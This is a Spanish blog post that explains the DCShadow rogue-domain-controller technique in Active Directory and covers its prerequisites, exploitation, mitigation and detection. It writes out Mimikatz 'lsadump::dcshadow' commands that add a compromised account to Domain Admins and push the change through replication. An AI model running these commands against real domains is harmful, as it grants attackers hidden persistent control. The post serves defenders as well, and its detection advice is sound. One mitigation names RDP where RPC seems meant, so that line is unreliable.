DCSHADOW Explicación, explotación, mitigación y detección
Vamos a profundizar en la técnica DCSHADOW y como realizar detcción sobre la misma en entornos Active Directory
1. ¿Que es DCSHADOW?
En este post vamos a profundizar en la técnica DCSHADOW que se enmarca bajo Técnica T1207 de Mitre Rogue Domain Controller. La técnica se puede resumir de manera muy sencilla en el meme que su propio creador hizo
Esta técnica se presentó en la Blue Hat de 2018 por Vicente Le Toux y Benjamin Delphy, os dejo la charla
Para cualquier referencia sobre el descubrimiento, y por supuesto para dejar crédito a quienes lo descubrieron os dejo la web dcshadow.com donde teneís mucho detalle sobre la técnica y cuando se presentó y el detalle.
La idea principal de esta técnica de persistencia es utilizar una máquina controlada por el atacante para que funcione como un DC real y forzar así a que el resto de DCs replique sus contenidos.
2. Profundizando en DCSHADOW
Explicar DCSHADOW aveces es complejo ya que hay que explicar que no es una vulnerabilidad sino un uso de protocolos los cuales están documentados
- MS-ADTS
- MS-DRSR
Y para los cuales simplemente debes detener los privilegios adecuados, que demanera habitual son Domain Admin o Enterprise Admin.
Es importante que tengas en cuenta lo siguiente:
3. Explotación
Existen varios requerimientos previos:
1- Registrar el DC en el dominio Para ello tenemos que Modificar el SPN del ordenador a GC/$HOSTNAME.$DOMAIN/$DOMAIN
y añadir una entrada como CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN
con los siguientes atributos:
objectClass: server
dNSHostName: $HOSTNAME.$DOMAIN
serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN
2- Tienes que tender capacidad de enviar y recibir tráfico RPC de las llamadas:
DRSBind
DRSUnbind
DRSCrackNames
DRSAddEntry
DRSReplicaAdd
DRSReplicaDel
DRSGetNCCnages
Realmente una vez obtenidos los privilegios como Domain Admin el proceso con Mimikatz es sencillo consiguiendo añadir el usuario al grupo de Domain Admins
1
lsadump::dcshadow /object:usuariocomprometido /attribute:primaryGroupID /value:512
Posteriormente tienes que abrir otra terminal y forzar un push en entono del Active Directory para que el dominio actualice el dato.
1
lsadump::dcshadow /push
Con esto generar persistencia es relativamente sencillo simulando el comportamiendo de un DC.
4. Mitigaciones
Os detallo algunas de las mitigaciones que puedes realizar:
- Controlar los usuarios con privilegios elevados.
- Políticas de control mediante firewall de conexiones RDP.
6. Detección
Algunos controles que podeís tener son:
- Monitorización de los eventos 4928 y 4929 de los entornos de Active Directory, os dejo el detalle de los eventos que proporciona Microsoft
- Las llamadas a las APIs DrsAddEntry, DrsReplicaAdd y GetNCChanges pueden ser consideradas como sospechosas. Ten en cuenta que las replicaciones suelen tardar 15 minutos agrupando diferentes cambios.
- Si usas Splunk hay un script para facilitar la detección junto con DCSYNC.
Quizás puedan serte de ayuda de cara a la detección los siguientes recursos:
DCShadow.com
Hacking Articles
Hacker Recipes
Apoya el contenido de ciberseguridad en castellano
Si esta publicación te ha sido útil y quieres apoyar mi trabajo para que continúe creando más contenido, aquí te dejo algunas formas de apoyar:
Compartir el contenido 📲 Si crees que esta guía puede ser útil para otras personas, compartirla en tus redes sociales es una gran ayuda.
Donar en Ko-fi 💖 Puedes hacer una donación rápida a través de Ko-fi para ayudarme a seguir publicando guías y tutoriales. ¡Cada aportación cuenta y es muy apreciada!
Usa mi enlace de afiliado de NordVPN y NordPass para mejorar tu seguridad y apoyar la creación de contenido 🛡️ Puedes suscribirte a NordVPN con un 75% de descuento y 3 meses gratis o a NordPass con un 53% de descuento y 3 meses gratis y mejorar tu seguridad a la vez que apoyas el contenido de ciberseguridad en español.